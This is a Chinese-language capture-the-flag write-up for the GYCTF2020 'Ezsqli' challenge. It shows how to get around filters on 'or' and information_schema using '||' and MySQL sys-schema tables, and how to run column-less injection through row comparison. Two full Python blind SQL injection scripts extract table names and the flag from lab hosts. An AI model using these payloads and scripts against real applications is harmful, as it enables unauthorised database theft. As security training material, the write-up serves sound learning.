[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入

https://www.cnblogs.com/h0cksr/p/16189749.html

https://www.gem-love.com/ctf/1782.html

说好的ez....

我们开始吧

首先就直接进行抓包 看回显

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第1张图片

 然后开始正常的测试

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第2张图片

报错了 这里的

or过滤的绕过

我们可以使用 ^ 或者 || 我喜欢用 ||

所以继续构造

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第3张图片

发现了 就是目前这种 然后我们可以开始

我们通过fuzz 发现 很多都被禁用了

所以我们还是选择盲注吧

正常测一下

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第4张图片

确定了 可以使用盲注

那我们开始写了

但是我们通过fuzz 发现 information_schema 也被过滤了 其实主要是 or被过滤

information_schema绕过

所以我们需要使用其他的表来爆破

这里给出几个替换的

sys.schema_table_statistics_with_buffer

sys.x$schema_flattened_keys

这两个都可以查出来

import time

import requests

base_url=r"http://238ed74f-cd44-42cb-9714-fd94acddc480.node4.buuoj.cn:81/"
data=''
#下面的payload需要使用 > 号 而不是 =
payload="""2||ascii(substr((select group_concat(table_name) from sys.x$schema_flattened_keys where table_schema=database()),{},1))>{}"""
for i in range(1,10000):
    low = 32
    high = 128
    mid =(low + high) // 2
    while(low < high):
        payload1=payload.format(i,mid)
        data1={
            'id':payload1
        }
        r = requests.post(url=base_url,data=data1)
        if "Nu1L" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 132):
        break
    data+=chr(mid)
    print(data)

f1ag_1s_h3r3_hhhhh,users233333333333333

得到了表名

无列名注入

这里因为我们无法通过 这个表获取flag的列名

并且这里过滤了 union 所以我们无法使用
 

select 1,2,3 union select * from 表

这种无列名注入

所以我们现在需要学习另一个

通过ascii位移来获得flag

我们开始在本地尝试

select (select "a")  > (select "abcdef")

0



select (select "b")  > (select "abcdef")

1

这里能发现 是通过比对 首个字符的ascii 如果相同 就输出 0 不同就输出 1

这里真的很巧妙

我们继续来实验一下

这里其实比对的是

前一个 ascii  和 后一个ascii 值的大小


如果前一个比较大 那么就输出0

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第5张图片

但是反过来 如果 后面比较大 我们就输出1        

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第6张图片

其次 第一个一样 我们就比对下一个

select (select "ac") > (select "abcdef") 1

select (select "aa") > (select "abcdef")

0

所以我们可以通过这个方式来查询

首先通过 select 1,2,3 查询字段数

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第7张图片

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第8张图片 说明字段数量为2

然后我们就可以通过循环开始查询了

我这里演示一下

我们知道 flag 是f开头

如果我输入g呢 返回 1(Nu1L)

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第9张图片

 如果输入的是e

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第10张图片

返回了 V&N

所以我们只要读取到了 Nu1L 然后通过 减去一位 我们就可以获得上一个的字符

然后加入 就可以获取下一个了

这里还有一个要注意的 就是 我们注入的地方在字段2 是flag在的地方

1 可能是 id什么的

我们开始写脚本吧

import time

import  requests

baseurl="http://17d5864a-27fc-4fc7-be88-e639f3f55898.node4.buuoj.cn:81/index.php"


def add(flag):
    res=''
    res+=flag
    return res
flag=''
for i in range(1,200):
    for char in range(32,127):
        datachar = add(flag+chr(char)) #增加下一个比对的字符串
        payload='2||((select 1,"{}")>(select * from f1ag_1s_h3r3_hhhhh))'.format(datachar)
        data = {
            'id':payload
        }
        req=requests.post(url=baseurl,data=data)
        if "Nu1L" in req.text:
            flag += chr(char-1)
            print(flag)
            break
        if req.status_code == 429:
            time.sleep(0.5)

[GYCTF2020]Ezsqli 绕过or information_schema 无列名注入_第11张图片

你可能感兴趣的:(数据库)